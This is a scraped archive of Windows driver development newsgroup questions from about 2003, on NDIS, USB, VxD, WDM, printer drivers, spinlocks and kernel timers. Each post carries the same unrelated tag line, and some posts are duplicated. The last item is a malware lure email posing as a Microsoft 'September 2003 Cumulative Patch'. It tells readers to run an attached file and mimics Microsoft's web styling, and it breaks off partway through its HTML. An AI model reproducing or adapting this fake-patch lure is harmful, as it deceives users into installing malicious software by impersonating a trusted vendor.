co-installer and/or installing a service / WHQL HCT requirements
Is it allowable to have a co-installer in place and/or a Service installed
along with an NDIS driver and still meet WHQL / HCT requirements for Network
devices ?
I recall in the past some discussion about certificatino for NDIS drivers
that the miniport driver could be the only thing required for operation. No
co-installer, no additional DLLs or Services could be part of the package.
If I had a DLL, service, other software of any sort, can I install these
through a co-installer or through simple copyfiles, install sections in the
INF file and certify the drivers ?
Thanks in advance for any pointers to info on this.
--
---
Larry Cawley
CreativeMedia Software Solutions, Inc.
lcawley@CreativeMediaSoftware.com
www.CreativeMediaSoftware.com
636 458 1462 Tag: How to make custom printer driver UI property pages Tag: 33309
Where can I get help for the VxD driver development
Hi,
Plz let me know where I can get the help regarding the
VxD driver development for windows98.
I have posted three time a query about the pending issue
in VxDas follows ,but i didn't get any response for that.
I am developing a VSD driver for Storage Area
Network kind of application.This VSD is in DRP_VSD_9 IOS
Layer.In this I am filtering the IOP's and get the data
from IOS and send it to the remote entity.For this I
implemented a kernel level socket using TDI (TDI client).
Now the issue is I have to synchornise the two
asynchronise events (TDI and the Disk).To synch the async
event I need to pend the IOP.
Query:
1. How I can pend the IOP in VxD like in NT
IoMarkIrpPending()to pend the IRP.
2. How I can change the loading order of the VSD.
Thanks in Advance.
Regards,
Subburaj.R Tag: How to make custom printer driver UI property pages Tag: 33306
Vitrual Medium Changer not recognised by RSM
I am creating a virtual medium changer for XP. This will control the media
in some (already working) virtual tape drives (these talk to real tapes on a
different system over the network).
I am sucessfully creating a deviceObject, registering a device interface
etc..etc.. and the driver loads, starts and stays resident just fine. It's
just that the RSM never picks up the fact that it's there and never queries
it or displays it's presence or anything.
I have had to hack around with the class code quite extensively to create
this device.... a mini-driver would not work as the class code assumes that
any medium changer MUST be a SCSI device and tries to send it SRBs to query
various aspects of the device. I have replaced all the SCSI calls, and have
even created a new SCSI bus entry in the DEVICEMAP registry area, so as to
give the driver a MediumChangerPeripheral Identifier.
What am I not doing to get this Virtual Medium Changer recognised by the RSM
system??? I know that the system certainly wants to believe that all medium
changers are SCSI devices....but it can't be the case that a non-SCSI device
simply can't be a changer can it? I would hate to have to create a virtual
SCSI bus driver to get round this.
Adrian.
CodeMechanics Ltd
www.codemechanics.co.uk Tag: How to make custom printer driver UI property pages Tag: 33303
Finding Job Info for an IPP printer using Win32 API Printer Driver
We have written a user mode plug-in for an Adobe
PostScript Printer driver for Win2K and XP which attempts
to add some information to the printer data stream.
Specifically it adds the JobID and the pDocument string
from the jobInfo structure returned by EnumJobs for the
printer in question. This works fine for directly
connected printers but for our network printer (which uses
IPP) the jobInfo structure returned by EnumJobs is set to
all zeros. Is there any way to get this information in
this environment? Tag: How to make custom printer driver UI property pages Tag: 33296
InintializeListHead filing on a 64 bit Win2003
Hi I am debuggin my driver blue screen on Win2003 64 bit
OS. Analyzing the crash dump file gave the result below
SYSTEM_THREAD_EXCEPTION_NOT_HANDLED (7e)
This is a very common bugcheck. Usually the exception
address pinpoints the driver/function that caused the
problem. Always note this address as well as the link
date of the driver/image that contains this address.
Arguments:
Arg1: ffffffff80000002, The exception code that was not
handled
Arg2: e0000165dac51880, The address that the exception
occurred at
Arg3: e0000165e3163b38, Exception Record Address
Arg4: e0000165e3162ba0, Context Record Address
Debugging Details:
------------------
EXCEPTION_CODE: (HRESULT) 0x80000002 (2147483650) - Ran
out of memory
FAULTING_IP:
tesr64!InitializeListHead+40
e0000165`dac51880 st8 [r28]=r26
Can any one explain what does Ran out of memory
indicate... The system has 1 GB of physical memory.
I am not sure why calling InitializeListHead is crashing
the OS. as the same code compiled for a 32 bit version of
Win2003 works just fine.
Thx,
Abhay Tag: How to make custom printer driver UI property pages Tag: 33294
Multi-functional USB drivers
Hi,
I'm currently working on a device that contains a union of two
interfaces, one is a Communication Class interface and the other is a
Data Class Interface. Together, these are emulating a modem (that uses
usbser.sys for a driver)
A single INF file is used to install the Windows driver to this
device. The INF uses the USB\VID_vvvv&PID_pppp device identifier to
identify my device.
I will need to add vendor-specific functionality to this device. I
would like to be able to do so simply by adding a third interface
(with the interface class set to 0xFF, of course) in the same
configuration as the one where the two interfaces mentioned above are,
without having to use the same driver to this interface as the one
used by the two modem interfaces.
To do so, I wanted to use a first INF (for USB\VID_vvvv&PID_pppp)
which would install the device as a composite device, and then split
up the first functionality to the second (vendor-specific)
functionality. Some of you probably see the problem already, as I have
3 interfaces which will cause 3 separate PDOs to be created, and thus
which will split the 2 first interfaces.
Is there a way I could, under the same configuration, have the 2 first
interfaces load up one driver, and the third one load up my
vendor-specific driver? Or do I absolutely need to separate the
functionality on two separate configurations?
Thanks in advance...
... regards! Tag: How to make custom printer driver UI property pages Tag: 33293
Q: about ZwLoadDriver()
Hello!
Can somebody confirm or contradict these three statements:
1) ZwLoadDriver() interface remains unchanged from Win2000 to a latest
Win2003 (or to which version as you know?)
2) It's prototype is
NTSYSAPI NTSTATUS NTAPI ZwLoadDriver( IN PUNICODE_STRING
DriverServiceName );
where DriverServiceName is the name of driver under "Services" key in
registry. For example,
L"Registry\\Machine\\System\\CurrentControlSet\\Services\\Tcpip".
3) DriverEntry() routine of the driver to be loaded is always execute in
system thread context, no matter, where was the ZwLoadDriver() executed.
Any info would be very appreciated.
Thanks, Aleksey. Tag: How to make custom printer driver UI property pages Tag: 33281
#pragma INITCODE
I see '#pragma INITCODE' used in example drivers.
I can not find a Microsoft source for information on it,
or on '#pragma PAGEDCODE'
Can someone briefly explain, or better yet point me to a
Microsoft source for documentation on these?
Thanks. Tag: How to make custom printer driver UI property pages Tag: 33280
HidD_GetAttributes PROBLEM
I am trying to get the vendor ID of the USB HID devices currently
attached to the computer. I have the code I found in every place to do
this :
....
HidD_GetHidGuid(&GUID);
...
SetupDiGetClassDevs(&GUID, NULL, NULL,
DIGCF_PRESENT|DIGCF_INTERFACEDEVICE);
....
SetupDiEnumDeviceInterfaces(PnPHandle, NULL,
&GUID,Device,&DeviceInterfaceData);
....
SetupDiGetDeviceInterfaceDetail(PnPHandle, &DeviceInterfaceData, ...
....
HIDHandle = CreateFile(FunctionClassDeviceData.DevicePath,GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE, &SecurityAttributes, OPEN_EXISTING,
0, NULL);
.....
Success = HidD_GetAttributes(HIDHandle, &HIDAttributes);
The first problem was SetupDiGetClassDevs with the GUID generated, I
solved this problem with
GUID = GUID_CLASS_USB_DEVICE;
But now my problem is with HidD_GetAttributes, this funtion never is
successful, always return 0
My OS is win 2000, the USB device I have connected is a USB flash
drive and I can see his vendor ID in the USBview.exe
Any idea?
Thanks Tag: How to make custom printer driver UI property pages Tag: 33273
MS PS/2 Mouse Driver Questions
(WinXPpro SP1)
I'm getting a lot of Event ID 256 warnings from the PlugPlay Manager.
The message is: Timed out sending notification of device interface
change to window of "MyTest". The consensus of what I've read is that
these warnings are caused by a device driver. The only clue in Device
Manager is a "device not responding" warning for a MS PS/2 Mouse --
because there is no MS mouse connected to the system. Instead, there is
a Logitech optical mouse (which also appears in DM) which works just
fine. I have searched the system for a file named "mytest.exe" but none
exists. There is no reference to "MyTest" in the registry. With that
background:
1. Can anyone confirm that the Microsoft PS/2 mouse driver for XP runs
a task called "MyTest"? If so, can this be prevented/turned off?
2. Alternatively, how can I uninstall this driver so I can see if the
warnings go away? When I try to uninstall from Device Manager, the
system automatically reinstalls the driver when I re-boot. Tag: How to make custom printer driver UI property pages Tag: 33272
WDM: Allow multiple instances of the "videocap" DDK sample
Hi, All,
Please advise what changes must be made to the "videocap" virtual
driver found in DDK samples to allow several applications to use the
virtual camera presented by this driver at the same time.
I couldn't find any info about multiple device instances so any help
would be highly appreciated.
Thanks a lot,
Anatoly Smelkov
------------------
anatoly@smelkov.com Tag: How to make custom printer driver UI property pages Tag: 33271
HID USB Monitor
Hello,
I"m new to device driver development. I"ve gone through
DDK docs. I have an USB touch panel device which is HID
compliant, for which I want to write a driver. I"m
confused whether to write an USB driver along with HID
minidriver that talks with hidclass.sys OR to write a
mapper driver which map HID report and dispatch events to
mouseclass. My driver should also take care of pnp and
power. Any help in this regard will be really appreciated.
If you can direct me to any particular example DDK source
code in case to write a mapper driver.
Thanks in Advance!!
With Regards
Rajesh Tag: How to make custom printer driver UI property pages Tag: 33268
assthru spinlock
I have compared the passthru example in WinXP SP1 DDK and
the Windows Server 2003 DDK. One major difference that I
have found is the use of a spinlock that was not present
in the previous sample. The lock is a member of the ADAPT
structure. I did not quite understand the purpose of the
spinlock, what data is it protecting, and what are the
race conditions it prevents?
I have 2 other related questions:
1. ADAPT_DECR_PENDING_SENDS also uses the spinlock. Won't
NdisInterlockedDecrement be more efficient?
2. In miniport.c I have seen the following code:
//
// If the miniport below is unbinding, just fail any
request
//
NdisAcquireSpinLock(&pAdapt->Lock);
if (pAdapt->UnbindingInProcess == TRUE)
{
NdisReleaseSpinLock(&pAdapt->Lock);
Status = NDIS_STATUS_FAILURE;
break;
}
NdisReleaseSpinLock(&pAdapt->Lock);
Why is there a spinlock here? No data is changed, only
compared.
Thank you. Tag: How to make custom printer driver UI property pages Tag: 33266
MiniportReset and connection status (NDIS test)
The MiniportReset test checks that connection state is restored after reset, and gives the driver
500 ms to restore connection ( script : 1c_reset.wsf, line 195 in ndistest 4.3.30).
What if this is not enough?
For wireless LAN, the same test suite allows up to 2 sec to connect
(script : 1c_wlan_associatetime.wsf ).
Does NDIS or any protocol actually expect the link up in 0.5 sec after reset?
Since MiniportReset does hardware reset, you can not expect reset time shorter than normal
connection (that is typically ~ 1 sec).
How do you cope with this issue? just skip hardware reset?
Any advice will be greatly appreciated. Thanks in advance.
-- Pavel Tag: How to make custom printer driver UI property pages Tag: 33264
Registry
Hi
I need to read and write a Registry key in my Intermediate driver.
How should i go about it iam new at it
Would RLT routines server the purpose ?????
is there any fixed sequence in which they should be called
any help is welcomed
pooja Tag: How to make custom printer driver UI property pages Tag: 33262
WDM: Multiple instances of a device
Hello,
While writing a WDM video capture driver for a virtual non existing device
(based on the "testcap" sample in the DDK) I encountered a problem which I
can't crack. The driver is working ok but only one instance of the virtual
device can be used in the system. Which means that only one application can
use the virtual camera at any given time. If I want another application to
use the same driver I have to add one more virtual camera device, etc.
Please someone point me in the right direction where to dig to enable
multiple instances of the device driver.
Thanks a lot,
Anatoly Smelkov,
---------------------------------
ABC Software Company
anatoly@smelkov.com Tag: How to make custom printer driver UI property pages Tag: 33261
USBVIEW2.exe WHAT TO USE FOR USB HS DEVICES
We use USBView2.exe to view the connectivity and gather
USB string descriptor data for LS & FS USB devices.
What tool do you use to do the same thing as USBView for
USB HS devices?
Regards Tag: How to make custom printer driver UI property pages Tag: 33260
Zoom feature in Universal Printer Driver
Hi,
I have Unidrv mini-driver. How can I provide zoom option
in the UI? Is there any GPD feature available? Do I have
to write unidrv UI plug-in to get Zoom?
Thanks&Regards
Kiran Tag: How to make custom printer driver UI property pages Tag: 33258
how can i filtering the sector operation?
how can i filtering the sector operation in NT?
how can i obtain sector read/write information from IRP?
please help me......... Tag: How to make custom printer driver UI property pages Tag: 33257
iSight 1394 camera crashes Win2K
Hello!
If an Apple iSight camera is connected onto a computer running
Windows 2000, the computer immediately crashes.
It seems that this is caused by a bug in the 1394 bus driver reading
the ConfigROM of the camera.
Is there a fix for this?
-Arne Tag: How to make custom printer driver UI property pages Tag: 33256
lists and hash maps
Hello,
I am doing first steps with kernel mode programming and want to ask if there
is some library like STL for using in kernel mode? I need to use lists and
hash maps in my trial driver and I belive that it's already implemented by
someone.
Thanks Tag: How to make custom printer driver UI property pages Tag: 33254
KesynchronizeExecution????
hello sir,
i have written a driver for my pci device,in my ISR am
reading control register which gives me the status bits
(indicating which ports caused the interruts)& i store
this value in device extension.
when i call a IOCTL_GET_STATUS i copy this status value to
irp systemBuffer & Reset the dx->IntStatus to zero.
problems am facing on multiple interrupts the first
interrupt stores the right value & next it stores 0.
in IOCTL_GET_STATUS i tried with KeSynchronizeExecution
tested for the values, still problem remained the same.
i require to know what is the right way of solving this
problem?
thanks
James Tag: How to make custom printer driver UI property pages Tag: 33252
IOP Pending in (VSD) VxD driver
Hi,
I am developing a VSD driver for Storage Area Network
kind of application.This VSD is in DRP_VSD_9 IOS Layer.
In this I am filtering the IOP's and get the data from IOS
and send it to the remote entity.For this I implemented a
kernel level socket using TDI (TDI client).
Now the issue is I have to synchornise the two
asynchronise events (TDI and the Disk).To synch the async
event I need to pend the IOP.
Query:
1. How I can pend the IOP in VxD like in NT
IoMarkIrpPending()to pend the IRP.
2. How I can change the loading order of the VSD.
Thanks in Advance.
with Regards,
Subburaj.R Tag: How to make custom printer driver UI property pages Tag: 33251
installing mux programmatically
hi,
we can install mux as protocol manually...
the same kind of installation of IM is possible through
some setup program??
It is require modification in notify object?? or it will
be separate program which will do job of installtion of IM
driver ??
Thanks in Advance,
nimeesh Tag: How to make custom printer driver UI property pages Tag: 33250
how to enable classpnp debug trace.
Hi,
I was debugging a problem of our storage product and
wanted to enable the debug trace of driver classpnp.sys.
With the checked build, there used to be a variable
ClassDebug, you can change the value of it to change the
debug leve. But for W2k SP4 checked build, I couldn't find
this variable, but my problem only happens with SP4, so I
have to debug it with SP4.
Is there anyone knowing this issue?
Thanks. Tag: How to make custom printer driver UI property pages Tag: 33246
Determining if PCI device is physically present...
OS: Windows 2K/XP
How does one programmatically determine if a PCI device (with a given device
and vendor ID) physically exists in a Windows 2K or XP system without
relying on a driver being installed?
I realize the PCI bus driver does the device enumeration and then drivers
are eventually loaded accordingly. In my case, I have to assume that a
driver may not yet be installed for a particular device. I obviously do not
wish to interact with it (until the driver is installed), but is there a way
to "ask" the bus driver if it has seen the PCI vendor/device ID on the last
PCI scan?
Most of what I have found in Windows programming documentation assumes that
a driver already exists, a device interface has been registered, etc.
I would be interested in either a user-mode or kernel-mode solution to this
problem. Preferably a user-mode solution. But I do have a kernel driver
(that is guaranteed to exist) that I can communicate with and modify if
necessary.
Thanks in advance.
Matt Tag: How to make custom printer driver UI property pages Tag: 33242
Driver Seminar fee
Hi,
I'm considering going to the South to take a driver seminar, preferably near
the east coast.
My boss doesn't believe it will help developing our driver, so I might have
to crank my penny jar opened.
I want to know if the seminar fee is tax deductable in Ontario Canada? Has
anyone from Ontario tried this before?
T.I.A
Calvin
========== WE SURVIVE TORONTO =======
1. SARS 2 West Nile Virus 3. Mad Cow Disease
4. 2003 Blackout 5. SARS Again Tag: How to make custom printer driver UI property pages Tag: 33240
Paral Port Mode in BIOS vs parport driver.
Hello,
I am trying to use Windows' standard parallel port
driver( parport ) API from within my driver for
test purposes.
This is what I do:
1) using the name "\Device\ParallelPort0" and
IoGetDeviceObjectPointer(), I get Device Object
of the parport.
2) Then I build a device io req using
IOCTL_INTERNAL_GET_PARALLEL_PNP_INFO and
IoBuildDeviceIoControlRequest API.
3) Then I call IoCallDriver().
I get success and the returned PARALLEL_PNP_INFORMATION
struct's "HardwareCapabilities" field describes the
capabilities of the Parallel Port H/W.
My PC's BIOS Offers: AT, PS/2, EPP and ECP as options
for the parallel port. But when I check
the "HardwareCapabilities" field which is a bit mask of
various possible modes, I only see ECP capability, This
field never shows EPP capability in this field of
PARALLEL_PNP_INFORMATION structure.
Why does paport show fewer capabilities? Can someone help?
Thanks. Tag: How to make custom printer driver UI property pages Tag: 33238
Intercepting IRP_MJ_READ/WRITE
Hi all,
Still playing with the FILESPY sample from IFS kit. What I am trying to
do now is access the buffers associated with each IRP_MJ_READ/WRITE.
Obviously the filespy sample shows how to intercept every filesystem IRP,
but
not how to access the buffers.
What I need to do is copy the contents of every buffer into an area of
non-paged-pool, each time one of these IRPs completes. So my question is,
what is the safest way to do this?
My concerns are:
what type of I/O is being performed (buffered/direct/neither)
what IRQL the IRPs complete at (presumably dispatch-level)
are the buffers still valid at this time etc.
The filespy sample demonstrates how to "synchronise" the completion
of IRP_MJ_CREATE (plus a couple of others) back to PASSIVE_LEVEL,
it does this by waiting on an event in the dispatch routine which is
signalled
by the completion routine. Should I use this mechanism to ensure that
IRP_MJ_READ/WRITE have completed at passive_level before accessing their
buffers?
What do I do when I have done this - do I need to lock pages into memory
etc??
I need some pointers I'm afraid, still struggling to understand this stuff..
Cheers,
James Tag: How to make custom printer driver UI property pages Tag: 33232
64-bit PCI mem xfer resolved
For those of you who remember my 64-bit delima ...
I't looks like my PCI bridge chip, Intel's P64H2, has a
FIFO with a high-water mark. When I hit this mark with a
quadword alligned address, the bridge makes the decision
to assert REQ64#.
I blasted this FIFO in a loop. After enough transfers,
the bridge asserted REQ64# and my PCI card responded with
ACK64#.
It looks like a single 64-bit PCI memory transfer is not a
function of software (Bridge is master).
If you want 64-bit, your PCI card needs to perform the bus
mastering. Tag: How to make custom printer driver UI property pages Tag: 33226
Install Printer Driver with my print processor in NT
Hi,
I have my own print processor. I am installing it using
AddPrintProcessor.
Now I am using UNIDRV.DLL, UNIDRVUI.DLL for AddPrinterDriver. These
files are not installed in some version of NT by default.
So what should I do? I can copy this files to PrinterDriverDirectory.
But for all OS with various service pack these files may be different.
So this is not good approach, that I am thinking. Also in groups I
also got the help that it is not recommended.
So I am trying to use rundll32 printui.dll,PrintUIEntry... But there
is no option to select PrinterProcessor. So how can I change the
PrinterProcessor to my own automatically.
My Printer Processor is testpr, testpr.dll.
Can you suggest me what should I do for automatically installation?
Thanks,
Dhaivat Shah Tag: How to make custom printer driver UI property pages Tag: 33213
Installable driver problem
Hallo,
I'm writing an installable driver for recording purposes, and I have
some strange problems: I've written a dummy version, thinking to add
functionalities in a second time, but I cannot install it: the 'new
hardware wizard' fails with the message 'incorrect parameter'.
The only message reaching my driver is DRV_LOAD, and I only return 1,
with no other operations.
After the failed installation every application using sound fails to
initialize with exception 0xC0000005, so I'm thinking of some access
violation, but I really cannot figure where I'm doing wrong.
Does somebody have any idea ?
Thank you,
Marco
PS here is the OEMSETUP.INF and the driver code:
//////////////////////////////////////////////////////////
OEMSETUP
/////////////////////////////////////////////////////////
[Source Media Descriptions]
1 = "RecorderTest sound driver" , TAGFILE = RecorderTest_disk
[Installable.Drivers]
RecorderTest = 1:RecorderTest.dll, "wave,mixer", "RecorderTest sound
driver" ,,,
[RecorderTest ]
1:RecorderTest.dll
//////////////////////////////////////////////////////////////////
// RecorderTest
//////////////////////////////////////////////////////////////////
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
return TRUE;
}
LRESULT DriverProc(DWORD dwDriverId, HDRVR hdrvr, UINT msg,
LONG lParam1, LONG lParam2)
{
DWORD dwRes = 0L;
switch (msg) {
case DRV_LOAD:
// Sent when the driver is loaded. This is always
// the first message received by a driver.
dwRes = 1L; // returns 0L to fail
break;
case DRV_FREE:
// Sent when the driver is about to be discarded.
// This is the last message a driver receives
// before it is freed.
dwRes = 1L; // return value ignored
break;
case DRV_OPEN:
// Sent when the driver is opened.
dwRes = 1L; // returns 0L to fail
break; // value subsequently used
// for dwDriverId.
case DRV_CLOSE:
// Sent when the driver is closed. Drivers are
// unloaded when the open count reaches zero.
dwRes = 1L; // returns 0L to fail
break;
case DRV_ENABLE:
// Sent when the driver is loaded or reloaded and
// when Windows is enabled. Install interrupt
// handlers and initialize hardware. Expect the
// driver to be in memory only between the enable
// and disable messages.
dwRes = 1L; // return value ignored
break;
case DRV_DISABLE:
// Sent before the driver is freed or when Windows
// is disabled. Remove interrupt handlers and place
// hardware in an inactive state.
dwRes = 1L; // return value ignored
break;
case DRV_INSTALL:
// Sent when the driver is installed.
dwRes = DRVCNF_OK; // Can also return
break; // DRVCNF_CANCEL
// and DRV_RESTART
case DRV_REMOVE:
// Sent when the driver is removed.
dwRes = 1L; // return value ignored
break;
case DRV_QUERYCONFIGURE:
// Sent to determine if the driver can be
// configured.
dwRes = 0L; // Zero indicates configuration
break; // NOT supported
case DRV_CONFIGURE:
// Sent to display the configuration
// dialog box for the driver.
dwRes = DRVCNF_OK; // Can also return
break; // DRVCNF_CANCEL
// and DRVCNF_RESTART
default:
// Process any other messages.
return DefDriverProc (dwDriverId, hdrvr,
msg, lParam1, lParam2);
}
return dwRes;
} Tag: How to make custom printer driver UI property pages Tag: 33208
How to associate an Ndis Protocol Handle with a Binding Handle?
What I'd like to do is have several instances of a protocol driver
registered with NDIS. The problem I am having is associating the
NdisProtocolHandle (returned from NdisRegisterProtocol()) with the
BindingContext given to ProtocolBindAdapter(). Since NdisRegisterProtocol()
does not take a user context as a parameter and there is no user context
passed into ProtocolBindAdapter(), it is impossible to tell which binding
context belongs to which protocol handle. Any ideas?
((&-< Tag: How to make custom printer driver UI property pages Tag: 33207
Installable driver problem
[my newsreader is hiccuping today, sorry if this post is doubled]
Hallo,
I'm writing an installable driver for recording purposes, and I have
some strange problems: I've written a dummy version, thinking to add
functionalities in a second time, but I cannot install it: the 'new
hardware wizard' fails with the message 'incorrect parameter'.
The only message reaching my driver is DRV_LOAD, and I only return 1,
with no other operations.
After the failed installation every application using sound fails to
initialize with exception 0xC0000005, so I'm thinking of some access
violation, but I really cannot figure where I'm doing wrong.
Does somebody have any idea ?
Thank you,
Marco
PS here is the OEMSETUP.INF and the driver code, i think it's the
plainest possible:
//////////////////////////////////////////////////////////
OEMSETUP
/////////////////////////////////////////////////////////
[Source Media Descriptions]
1 = "RecorderTest sound driver" , TAGFILE = RecorderTest_disk
[Installable.Drivers]
RecorderTest = 1:RecorderTest.dll, "wave,mixer", "RecorderTest sound
driver" ,,,
[RecorderTest ]
1:RecorderTest.dll
//////////////////////////////////////////////////////////////////
// RecorderTest
//////////////////////////////////////////////////////////////////
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved)
{
return TRUE;
}
LRESULT DriverProc(DWORD dwDriverId, HDRVR hdrvr, UINT msg,
LONG lParam1, LONG lParam2)
{
DWORD dwRes = 0L;
switch (msg) {
case DRV_LOAD:
// Sent when the driver is loaded. This is always
// the first message received by a driver.
dwRes = 1L; // returns 0L to fail
break;
case DRV_FREE:
// Sent when the driver is about to be discarded.
// This is the last message a driver receives
// before it is freed.
dwRes = 1L; // return value ignored
break;
case DRV_OPEN:
// Sent when the driver is opened.
dwRes = 1L; // returns 0L to fail
break; // value subsequently used
// for dwDriverId.
case DRV_CLOSE:
// Sent when the driver is closed. Drivers are
// unloaded when the open count reaches zero.
dwRes = 1L; // returns 0L to fail
break;
case DRV_ENABLE:
// Sent when the driver is loaded or reloaded and
// when Windows is enabled. Install interrupt
// handlers and initialize hardware. Expect the
// driver to be in memory only between the enable
// and disable messages.
dwRes = 1L; // return value ignored
break;
case DRV_DISABLE:
// Sent before the driver is freed or when Windows
// is disabled. Remove interrupt handlers and place
// hardware in an inactive state.
dwRes = 1L; // return value ignored
break;
case DRV_INSTALL:
// Sent when the driver is installed.
dwRes = DRVCNF_OK; // Can also return
break; // DRVCNF_CANCEL
// and DRV_RESTART
case DRV_REMOVE:
// Sent when the driver is removed.
dwRes = 1L; // return value ignored
break;
case DRV_QUERYCONFIGURE:
// Sent to determine if the driver can be
// configured.
dwRes = 0L; // Zero indicates configuration
break; // NOT supported
case DRV_CONFIGURE:
// Sent to display the configuration
// dialog box for the driver.
dwRes = DRVCNF_OK; // Can also return
break; // DRVCNF_CANCEL
// and DRVCNF_RESTART
default:
// Process any other messages.
return DefDriverProc (dwDriverId, hdrvr,
msg, lParam1, lParam2);
}
return dwRes;
} Tag: How to make custom printer driver UI property pages Tag: 33206
Queued spinlock mystery !!!
< Do you know how the queued spinlock works? It maintains
< a linked list of
< KLOCK_QUEUE_HANDLEs, where the list tail is the
< acquisitor who runs, others are
< acquisitors who wait.
< KLOCK_QUEUE_HANDLE is like Irql variable for usual
< spinlocks.
< You must have at least 1 KLOCK_QUEUE_HANDLE per CPU,
< and use
< KeGetCurrentProcessorNumber to access the correct one,
< with raising on
< DISPATCH_LEVEL beforehand.
I don't understand how queuedspinlocks works anymore. I
thought that there
was only one queue and all cpus were locking themselve
with that queue ex:
KLOCK_QUEUE_HANDLE
|
----------------
| Acquire lock | <----- cpu #0
----------------
----------------
| Acquire lock | <----- cpu #2
----------------
----------------
| Acquire lock | <----- cpu #1
----------------
----------------
| Acquire lock | <----- cpu #3
----------------
If this is not the case but every cpu must have his
KLOCK_QUEUE_HANDLE how
can cpu #2 knows that it must wait because cpu 0 have the
lock if this
lock was putted into the KLOCK_QUEUE_HANDLE of cpu #0 ?
Can someone at Microsoft can explain to me how queued
spinlock really works ?
Thanks Tag: How to make custom printer driver UI property pages Tag: 33204
Usbscan.sys for multi interface installation in windows 98 ?
I am a software developer for multifunction printer
driver. Here is my problems:
I can't successfully install multifunction printer driver
(composite device, and use usbprint.sys + usbscan.sys)
in Windows 98/SE. The F/W in our device reports multi
interfaces to PC host. Vid_xxxx&Pid_yyyy&MI_00 is printer
interface and Vid_xxxx&Pid_yyyy&MI_01 is scanner
interface.
I referenced the "Building for Windows 98 and Windows 98
SE" section in usbscn9x.htm in Windows Server 2003 DDK.
I follow the DDK's instructions to do some fix, restart my
computer in Windows 98, and use 98 DDK to build the
sample. But it fails.
1. What's wrong with it?
2. Or ... anybody can give me usbscn9x.sys binary
directly?
3. I may doubt the problem may occur in .inf. Does the
scanner .inf has any special writing for multi interface
in Windows 98/SE?
Regards, Tag: How to make custom printer driver UI property pages Tag: 33199
need a better method to install ps/2 mouse filter
Installing the mouse filter example from the ddk (moufiltr) removes
whatever driver the user had installed for their mouse and overrides
it with the ps/2 mouse driver. For instance, it is undesirable to
replace trackpoint drivers with the less optimal ps/2 mouse driver
when all we want to do is get a mouse filter installed. Is there a
better way to value add a mouse filter driver? It doesn't matter if it
can't get logo or requires programatically updating the registry; the
end user experience is what counts here. Tag: How to make custom printer driver UI property pages Tag: 33198
How to send the vendor command via the USBprint.sys
Hello...
I try to send the vendor command
(IOCTL_USBPRINT_VENDOR_GET_COMMAND)in the user mode AP via
the usbprint.sys. In the DDK, it tell the programmer to
include the ioctl.h, but there's no defination in the
include file. Who can tell me how to do it?
Thank you very much.
Kent 9/29/2003 Tag: How to make custom printer driver UI property pages Tag: 33196
What is power up ??
hello
if the device is in DevicePower D3 state.i mean device is
in sleeping state, how do i wake up the
device. i mean when a ioctl is called,how to power up &
complete the task.what are the basic step to power up in a
deviceiocontrol.can anyone guide me getting the logic
behind power up.
Thanks in advance.
pavan Tag: How to make custom printer driver UI property pages Tag: 33195
how to remove/unplug a usb disk?
Is there any way to remove/unplug the usb disk without the os warning(like
use mouse to click the tray icon to remove it)?
Does any SetupDixxx function to do this? Tag: How to make custom printer driver UI property pages Tag: 33193
code_seg and MSVC 7.0, 7.1...
Is there any way to control the code segment an expanded inline class member
or templated function is placed into? For the code below, all functions but
ccc() are placed into _TEXT. Only ccc() is placed into CCC.
Yes, this is for driver development.
Cheers,
Nick
#include <stdio.h>
#define LPCSTR char*
struct A
{
#pragma code_seg(push, "AAA")
LPCSTR aaa() { return "aaa aaa aaa"; }
#pragma code_seg(pop)
#pragma code_seg(push, "BBB")
template<class T>
T bbb(T t) { return t; }
#pragma code_seg(pop)
};
#pragma code_seg(push, "CCC")
__forceinline LPCSTR ccc() { return "ccc ccc ccc"; }
#pragma code_seg(pop)
#pragma code_seg(push, "DDD")
template<class T>
T ddd(T t) { return t; }
#pragma code_seg(pop)
void main()
{
A a;
a.aaa();
printf( "%p %p %p %d %d", a.aaa, ccc, ddd(1), a.bbb(1) );
} Tag: How to make custom printer driver UI property pages Tag: 33192
Timer in kernel mode
Hi
can anyone tell me how to use timer (and their callbacks)
in kernel mode?
Thanks
Sam Tag: How to make custom printer driver UI property pages Tag: 33182
Taste this important patch from M$ Corporation
--jixvfhxnrtf
Content-Type: multipart/related; boundary="jmznaqkxjdugok";
type="multipart/alternative"
--jmznaqkxjdugok
Content-Type: multipart/alternative; boundary="spdhquyyf"
--spdhquyyf
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
MS Client
this is the latest version of security update, the
"September 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to continue keeping your computer secure
from these vulnerabilities, the most serious of which could
allow an malicious user to run executable on your system.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
--spdhquyyf
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
